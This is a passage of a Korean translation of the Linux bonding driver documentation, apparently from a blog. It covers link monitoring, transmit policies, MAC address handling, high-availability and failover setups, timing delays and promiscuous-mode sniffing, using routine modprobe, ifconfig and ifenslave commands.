             MII 상태를 지원하지 않는 이더넷 카드에 대해서, bonding이 정확하게 동작하게 하기 위해서 arp_interval arp_ip_target 파라미터가 기술되어야 한다. 만일 패킷이 정해진 arp_interval 동안 보내지거나 받아지지 않으면, ARP 요청이 주고 받는 패킷을 생성하기 위해 목표로 보내어 진다. 만일 이러한 시간 간격 후에, 성공적인 보내기/받기가 이루어지지 않는다면, 순서상 다음 슬레이브가 활성 슬레이브가 될 것이다.

 

만일 mii_monitor arp_interval 중 하나가 설정되지 않았다면, bonding 드라이버는 이러한 상황을 잘 처리하지 못할 것이다. 드라이버는 패킷을 계속 보낼 것이다. 하지만 어떤 패킷은 잃어버릴 것이다. 재전송은 심각한 성능의 저하를 가져온다(두 슬레이브중 하나가 fail되었을 때, 50% 패킷을 잃어버릴 것이다. 이것은 TCT UDP 모두 큰 문제이다).

            

 

6.  bonding이 고 가용성을 위해서 사용될 수 있는가?

 

만일 MII 감시를 사용하고, 모든 카드가 MII 링크 상태 보고를 지원한다면, 가능하다. 더 자세한 정보는 고 가용성 부분을 참고하라.

 

7.  어떤 스위치/시스템과 함께 잘 작동하는가?

 

             Round-robin XOR 모드에서, trunking을 지원하는 시스템과 잘 동작한다.

            

             * Cisco 5500 시리즈 (EtherChannel 지원을 참조하라).

             * SunTrunking 소프트웨어

             * Alteon AceDirector 스위치 / WebOS (Trunks 사용).

* BayStack 스위치 (trunks 분명하게 설정되어야 한다). 스택 가능한 모델(450)은 다른 물리적 단위에서 포트 사이의 trunks를 정의할 수 있다.)

             * Linux bonding

            

             active-backup 모드에서, 어떤 L2 스위치와 잘 작동한다.

 

 

8.  bonding 장치는 어디서 MAC 주소를 가져오는가?

 

만일 ifconfig를 사용하여 명백하게 설정하지 않는다면, bonding 디바이스의 MAC 주소는 첫 번째 슬레이브 디바이스로부터 가져온다. MAC 주소는 bonding 디바이스가 다운되거나 재설정될 때까지 다른 모든 슬레이브에 전달되고, 고정된다(첫 번째 슬레이브가 제거된다고 하더라도)

            

             만일 MAC 주소를 변경하려면 ifconfig를 사용하여 설정할 수 있다.

 

               # ifconfig bond0 hw ether 00:11:22:33:44:55

 

MAC 주소는 디바이스를 내리고 올리거나, 슬레이브(또는 슬레이브의 순서)를 변경하여 변경될 수 있다.

            

               # ifconfig bond0 down ; modprobe -r bonding

               # ifconfig bond0 .... up

               # ifenslave bond0 eth...

 

             이러한 방법은 추가될 다음 슬레이브로부터 주소를 자동으로 가져올 것이다.

 

슬레이브 MAC 주소를 되돌려놓으려면, bond로부터 슬레이브 디바이스를 떼어내고(ifenslaver d bond0 eth0), 정지시키고(ifconfig eth0 down), 드라이버를 내리고(예를 들어 rmmod 3c59x), eeprom으로부터 MAC 주소를 다시 읽어와야 한다. 만일 드라이버가 여러 개의 디바이스에 의해서 공유되고 있다면, 그 모든 디바이스를 다운시켜야 한다. 또다른 해결책은 부팅시에 MAC 주소를 살펴보고(dmesg 또는 tail /var/log/messages), ifconfig를 사용하여 수동으로 설정한다

 

               # ifconfig eth0 down

               # ifconfig eth0 hw ether 00:20:40:60:80:A0

 

9.  어떤 전송정책이 사용될 수 있는가?

 

슬레이브의 순서에 기초한 round-robin, 출력 디바이스는 다음 사용 가능한 슬레이브에 따라서 선택된다. 패킷의 출발지와 목적지와는 상관없다.

 

주어진 시간에 하나 또는 꼭 하나만의 디바이스가 전송하는 것을 보장하는 Active-backup 정책. Active-backup 정책은 두 개의 허브를 사용하여 고 가용성 솔루션을 구축하는데 유용하다.(고 가용성 부분을 참고하라).

 

% 슬레이브 개수에 기초한(src hw addr XOR dst hw addr) XOR. 이 정책은 각 목적지 hw 주소에 대해서 동일한 슬레이브를 선택한다.

 

             Broadcast 정책은 모든 슬레이브 인터페이스에서 모든 것을 전송한다.

 

 

고 가용성(High Availability)

====================

 

bonding 드라이버를 사용하여 고 가용성을 구현하기 위해서, 드라이버는 모듈로 컴파일 되어야 한다. 그것은 현재 드라이버에 파라미터를 전송하는 유일한 방법이기 때문이다. 이것은 이후에 변경될 것이다.

 

고 가용성은 MII 또는 ETHTOOL 상태 보고를 사용하여 구축된다. 당신은 당신의 모든 인터페이스가 MII 또는 ETHTOOL 링크 상태 보고를 지원하는지 검증해야 할 필요가 있다. 리눅스 커널 2.2.17에서, 모든 100Mbps 드라이버와 yellowfin 기가빗 드라이버는 MII을 지원한다. ETHTOOL 링크 보고가 eth0 인터페이스에 대해 가능한지를 결정하기 위해서 ethtool eth0를 입력하고 Link detected: 라인이 올바른 링크 상태를 나타내야 한다. 만일 당신의 시스템이 MII 또는 ETHTOOL 상태 보고를 지원하지 않는 인터페이스를 가지고 있다면, 링크의 failure는 감지되지 않을 것이다. 네트워크 드라이버가 MII ETHTOOL을 지원하지 않는다는 메시지는 bonding 드라이버가 miimon 값에 0이 아닌 값을 가지고 로드될 때 기록된다.

 

Bonding 드라이버는 ETHTOOL IOCTL(ETHTOOL_GLINK 명령어)을 사용하거나 또는 MII 상태 레지스터를 검사하여 모든 슬레이브의 링크를 정기적으로 검사할 수 있다. 검사 간격은 모듈 인수 miimon(MII 감시)를 사용하여 설정할 수 있다. 그것은 밀리초 단위로 검사하는 시간을 표현하는 정수값을 갖는다. 그 값은 1000/HZ에 가까우면 안 되는데 그것은 시스템 상호성을 감소시키기 때문이다. 100정도 값이 좋은 시작점으로 생각된다. 이것은 디바이스가 다운된 후 적어도 100 밀리초에 죽은 링크를 감지할 수 있다는 것을 의미한다.

 

예제:

 

   # modprobe bonding miimon=100

 

또는 /etc/modules.conf에 다음 라인을 추가하라

 

   alias bond0 bonding

   options bond0 miimon=100

 

현재 고 가용성을 위해 2가지 정책이 있다. 그것은 아래조건에 의해 결정된다.

 

   a) 호스트가 단일 호스트 또는 trunking을 지원하는 스위치에 연결되어 있는지

 

b) 호스트가 여러 개의 다른 스위치나 trunking을 지원하지 않는 단일 스위치에 연결되어 있는지

 

 

1) 단일 호스트 또는 단일 스위치에서의 고 가용성 부하 분산

----------------------------------------------------------------

이것은 가장 이해하기도 쉽고 설치하기도 쉽다. 단순히 여러 포트(Trunk, EtherChannel )의 트래픽을 모으기 위해서 외부 장치(호스트나 스위치)를 설정하라. 그리고 bonding 인터페이스를 설정하라. 만일 모듈이 적절한 MII 옵션을 사용하여 올라갔다면, 자동적으로 잘 동작할 것이다. 그리고 나서 다른 링크를 복구하거나 삭제하려 할 수 있다. 그리고 드라이버가 무엇을 감지하였는지 로그를 살펴보아라. 테스트할 때, trunk의 모든 포트가 다운된다면 오랫동안 trunk를 사용 불가능한 스위치에서 문제가 발생할 수 있다. 리눅스가 아니고, 스위치이다.

 

예제 1: 2배의 속도로 호스트에서 호스트

 

          +----------+                          +----------+

          |                 |eth0              eth0|                 |

          | Host A      +---------------+ Host B       |

          |                 +---------------+                  |

          |                 |eth1              eth1|                 |

          +----------+                          +----------+

 

  각 호스트에서:

     # modprobe bonding miimon=100

     # ifconfig bond0 addr

     # ifenslave bond0 eth0 eth1

 

예제 2: 2배의 속도로 호스트에서 스위치

 

          +----------+                          +----------+

          |                 |eth0             port1|                 |

          | Host A      +---------------+  switch      |

          |                 +---------------+                  |

          |                 |eth1             port2|                 |

          +----------+                          +----------+

 

  호스트 A에서 :                          스위치에서 :

     # modprobe bonding miimon=100           # set up a trunk on port1

     # ifconfig bond0 addr                     and port2

     # ifenslave bond0 eth0 eth1

 

 

2) 2개 이상의 스위치(또는 trunking을 지원하지 않는 단일 스위치)에서 고 가용성

------------------------------------------------------------

이 모드는 문제가 더 많다. 왜냐하면 이것은 여러 개의 포트가 있고 호스트의 MAC 주소는 스위치가 혼동하지 않도록 하나의 포트만 볼 수 있어야 한다는 사실 때문이다.

 

만일 인터페이스가 활성화된 것과 어떤 것이 백업인지를 알아야 할 필요가 있다면, ifconfig 를 사용하라, 모든 백업 인터페이스는 NOARP 플래그를 갖는다.

 

이 모드를 사용하기 위해서는 로딩할 때 모듈에 mode=1을 보내라:

 

    # modprobe bonding miimon=100 mode=1

 

또는 /etc/modules.conf 에 다음을 추가하라:

 

    alias bond0 bonding

    options bond0 miimon=100 mode=1

 

예제 1: 단일 실패 지점을 없애기 위해서 여러 개의 호스트와 여러 개의 스위치를 사용하라.

 

 

                 |                                                |

                 |port3                                 port3|

          +-----+----+                          +-----+----+

          |                 |port7    ISL  port7|                  |

          | switch A    +---------------+    witch B |

          |                  +---------------+                 |

          |                 |port8           port8|                  |

          +----++----+                          +-----++---+

           port2||port1                               port1||port2

                   ||                +------+                ||

                   |+---------+ host1 +---------+|

                   |          eth0 +------+ eth1          |

                   |                                                 |

                   |                 +------+                  |

                   +----------+ host2 +----------+

                         eth0 +------+ eth1

 

이런 설정에는 ISL이 있다. - Inter Switch Link(trunk가 될 수 있다), 양 스위치에 붙은 여러 개의 서버(host1, host2 )와 외부와 연결하는 하나 이상의 포트(port3). 모든 링크는 계속 감시되지만, 각 호스트에 단지 하나의 슬레이브만 활성화된다.(시스템은 실패와 백업 링크를 감지한다)

 

호스트가 자신의 활성 인터페이스를 변경할 때마다, 인터페이스가 다운될 때까지 새로운 것을 고수할 것이다. 예를 들면, 호스트는 스위치의 전송 테이블의 만료시간에 의한 영향을 거의 받지 않는다.

 

만일 host1 host2가 동일한 기능을 갖고 있고, 또 다른 외부 서버에 의해 부하분산에 사용되고 있다면, 호스트1의 활성 인터페이스가 하나의 스위치에 연결되고 호스트2의 활성 인터페이스는 다른 스위치에 연결되는 것이 좋다. 그러한 시스템은 단일 호스트, 케이블 또는 스위치의 failure에도 살아남을 것이다. 스위치 failure의 경우에 일어날 수 있는 가장 안 좋은 일은 다른 스위치가 자신의 테이블을 만료할 때까지 호스트중 1/2은 잠시 동안 연결이 불가능하다는 것이다.

 

예제 2: NIC failover를 설정하기 위해 스위치(trunking을 지원할 필요는 없다)에 여러 개의 이더넷 카드를 연결하는 것

 

 

          +----------+                          +----------+

          |                  |eth0           port1|                  |

          | Host A       +---------------+    switch   |

          |                  +---------------+                 |

          |                  |eth1           port2|                  |

          +----------+                          +----------+

 

  호스트 A에서 :                             스위치에서:

     # modprobe bonding miimon=100 mode=1     # (optional) minimize the time

     # ifconfig bond0 addr                    # for table expiration

     # ifenslave bond0 eth0 eth1

 

호스트가 자신의 활성 인터페이스를 변경할 때마다, 호스트는 자신이 다운될 때까지 새로운 것을 고수한다. 예제에서 호스트는 스위치 전송 테이블의 만료 시간에 많은 영향을 받는다.

 

 

3) Adapting to your switches' timing

------------------------------------

만일 스위치가 백업 모드로 전환하는데 오랜 시간이 걸린다면 링크가 다운된 후에 즉시 백업 인터페이스를 활성화시키는 것은 바람직하지 않을 것이다. 링크가 모듈 파라미터 downdelay(밀리초 단위이며 miimon의 배수이어야 한다)를 받아서 완전하게 사용 불가능하게 되는 순간만큼 시간을 지체하도록 하는 것은 가능하다.

 

스위치를 리부팅할 때, 스위치의 포트가 사용가능하기 전에 link up 상태를 보고하는 것이 가능하다. 이것은 아직 준비가 되지 않은 포트를 사용하도록 함으로써 bond 디바이스를 속일 수 있다. 활성 링크가 모듈 파라미터 updelay(밀리초 단위이며, miimon의 배수이어야 한다)를 받아서 재사용할 수 있는 순간을 지체하도록 할 수 있다.

 

유사한 사항이 호스트가 스위치와 끊어진 링크를 재 연결할 때(케이블 교체의 경우) 발생할 수 있다.

 

특별한 경우는 bonding 인터페이스가 모든 슬레이브 링크를 잃은 경우이다. 드라이버는 updelay 파라미터가 설정되어 있음에도, up되는 첫 번째 링크를 즉시 재사용할 것이다. (만일 updelay 상태의 슬레이브 인터페이스가 있다면, 첫 번째로 그 상태로 변경되는 인터페이스가 즉시 재사용될 것이다) 이것은 updelay 값이 과대평가되었다면, 다운타임(down-time)을 줄일 수 있다.

 

예제 :

 

    # modprobe bonding miimon=100 mode=1 downdelay=2000 updelay=5000

    # modprobe bonding miimon=100 mode=0 downdelay=0 updelay=5000

 

 

Promiscuous Sniffing notes

==========================

 

만일 네트워크 스니핑(network sniffing) 을 위해 bond 채널을 함께 사용하기를 원한다면 tcpdump 또는 ethereal, 또는 bonding 드라이버를 사용하여 여러 개의 인터페이스로부터 수집한 입력을 사용한 snort 같은 IDS를 실행하기를 원한다면 수동으로 Promiscuous 인터페이스 설치를 처리해야 한다. 특히 ifconfig bond0 up 을 했을 때, 반드시 promisc 플래그를 추가해야 한다. 이것은 ifenslave 시간에 슬레이브 인터페이스에 전달(propagate down)할 것이다. 완전한 예제는 다음과 같다:

 

   grep bond0 /etc/modules.conf || echo alias bond0 bonding >/etc/modules.conf

   ifconfig bond0 promisc up

   for if in eth1 eth2 ...;do

       ifconfig $if up

       ifenslave bond0 $if

   done

   snort ... -i bond0 ...

 

또한 Ifenslave 는 채널 용량 집합과 HA에서 설계 기능을 위하여 적절하게 인터페이스에서 인터페이스로 주소를 전달하기를 원한다. 하지만, 이것은 모든 경고를 무시하고 unnumbered 인터페이스에서도 잘 동작한다.

 

 

제약

===========

주된 제약 사항은:

- 단지 링크 상태가 감시된다. 만일 다른 편에 있는 스위치가 부분적으로 다운되었다면(, 전송을 더 이상하지 않지만, 링크는 정상인 경우), 링크는 사용가능하지 않다. 죽은 링크를 검사하는 또 다른 방법은 많은 부하가 걸린 호스트에서 들어오는 프레임의 개수를 세도록 하는 것이다. 이것은 작은 서버에서는 적절하지 않다. 하지만 전방 스위치가 링크( VRRP) 또는 서버 health-check 에 멀티캐스트 정보를 보낼 때 유용할 것이다. 들어오고 나가는 프레임을 계산하기 위해서는 arp_interval/arp_ip_target 파라미터를 사용하라

 

- 전송 부한 분산 정책은 현재 가능하지 않다. 이 모드는 bond내 모든 슬레이브가 단지 하나만 받을 동안 전송할 수 있도록 한다. 만일 받는 슬레이브가 fail된다면 다른 슬레이브가 fail된 받는 슬레이브의 MAC 주소를 받는다.

 

 

Resources and Links

===================

 

Current development on this driver is posted to:

 - http://www.sourceforge.net/projects/bonding/

 

Donald Becker's Ethernet Drivers and diag programs may be found at :

 - http://www.scyld.com/network/

 

You will also find a lot of information regarding Ethernet, NWay, MII, etc. at

www.scyld.com.

 

For new versions of the driver, patches for older kernels and the updated

userspace tools, take a look at Willy Tarreau's site :

 - http://wtarreau.free.fr/pub/bonding/

 - http://www-miaif.lip6.fr/willy/pub/bonding/

 

To get latest informations about Linux Kernel development, please consult

the Linux Kernel Mailing List Archives at :

   http://boudicca.tux.org/hypermail/linux-kernel/latest/

 

-- END --

반응형

'OS > LINUX' 카테고리의 다른 글

[LINUX] rpmbuild  (0) 2008.02.11
yum  (0) 2008.02.11
iptables 추가  (0) 2007.11.21
iptables  (0) 2007.11.21
리눅스 & 유닉스에서 화일 갯수 세기  (0) 2007.10.29
Posted by [PineTree]